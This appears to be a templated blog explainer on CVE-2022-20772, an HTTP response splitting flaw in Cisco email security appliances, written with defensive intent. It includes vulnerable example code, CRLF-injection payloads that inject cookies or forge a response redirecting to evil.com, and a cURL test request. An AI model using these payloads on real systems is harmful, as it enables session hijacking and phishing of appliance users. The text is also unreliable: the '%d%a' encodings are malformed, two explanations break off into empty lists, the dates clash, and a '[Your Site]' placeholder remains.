Published: June 2024

Introduction

If your company is using Cisco Email Security Appliance (ESA) or Cisco Secure Email and Web Manager, you need to know about CVE-2022-20772. This vulnerability allows anyone on the internet to exploit a simple yet dangerous bug—leading to a classic web attack called HTTP response splitting. Even worse, the attacker doesn’t need to be logged in!

Let's break down how the vulnerability works, see some real code examples, and talk about the risks to your organization.

The Root of the Issue: Unsafe Input Handling

At its heart, CVE-2022-20772 is about forgetting to sanitize user input. Some web applications don’t scrub incoming data before sticking it into HTTP responses. If you can sneak certain characters—like newline (\n) or carriage return (\r)—the web server can get confused, possibly letting you “split” one response into two, or inject your own headers.

Why does this matter?

The Official Advisory

Cisco’s advisory is here:  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-splthdr-fATrLyha

They rate this as medium severity, and there are patches available. But a surprising number of companies are still exposed because the fix requires updating your appliance, which is easy to overlook.

Technical Details — What's Going On?

ESA and Secure Email & Web Manager build responses to web requests using user-provided inputs—like the parameters in URLs or form fields. If those aren’t properly checked, an attacker can slip in HTTP special characters.

Suppose the web app responds like this in pseudo-code

# Hypothetical vulnerable code in ESA web interface
def do_login(request):
    username = request.GET.get('username')  # e.g. /login?username=john
    response = HttpResponse()
    response.headers['X-User'] = username
    return response

If you visit /login?username=john, the server’s HTTP response will look like

HTTP/1.1 200 OK
Content-Type: text/html
X-User: john

...body...

But what if someone requests

/login?username=john%d%aSet-Cookie:%20session=attacker

Resulting in

HTTP/1.1 200 OK
Content-Type: text/html
X-User: john
Set-Cookie: session=attacker

...body...


That means the attacker controls the response headers! In some systems, you can even split the response and serve new content altogether.

Let's say there's a search feature at

https://your-esa-appliance/search?query=term

The attacker submits

query=%d%aContent-Length:%200%d%aLocation:%20http://evil.com%d%a%d%aHTTP/1.1%20200%20OK%d%aContent-Type:%20text/html%d%a%d%a<html>Fake page here!

What happens? If the application reflects query directly into the HTTP response headers or body, the attacker can:

A real-world cURL example

curl -v "https://vulnerable-appliance/search?query=test%d%aSet-Cookie:%20hacked=1";

Check the response headers

< Set-Cookie: hacked=1

Cross-Site Scripting (XSS) — in some cases, combine with script injection for more damage.

All of this can happen without logging in, from anywhere in the world.

Patching and Mitigations

- Update your ESA and C100V/C300V/C600V SaaS appliances. Cisco has release notes with fixed versions.

Sanitize all input — never allow CR (\r) or LF (\n) in headers or reflected content.

- Run a vulnerability scan — tools like Burp Suite, OWASP ZAP, or your preferred scanner can check if you’re exposed.

References & More Reading

- NIST NVD: CVE-2022-20772
- Cisco’s Official Advisory
- OWASP: HTTP Response Splitting

Conclusion

CVE-2022-20772 is a textbook case of what can go wrong when user input isn’t properly sanitized before being used in web responses. With Cisco ESA and Secure Email and Web Manager often sitting at the heart of an organization's infrastructure, this isn’t something you can ignore.

Fix it, audit your network for signs of exploitation, and always assume: user input is dangerous!

If you’re not sure, get in touch with a security professional and check all those appliances.

Stay safe and patch smart!

*This article is exclusive to [Your Site], written to help sysadmins, managers, and IT pros understand and protect against real-world threats like CVE-2022-20772.*

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 15:00:00 UTC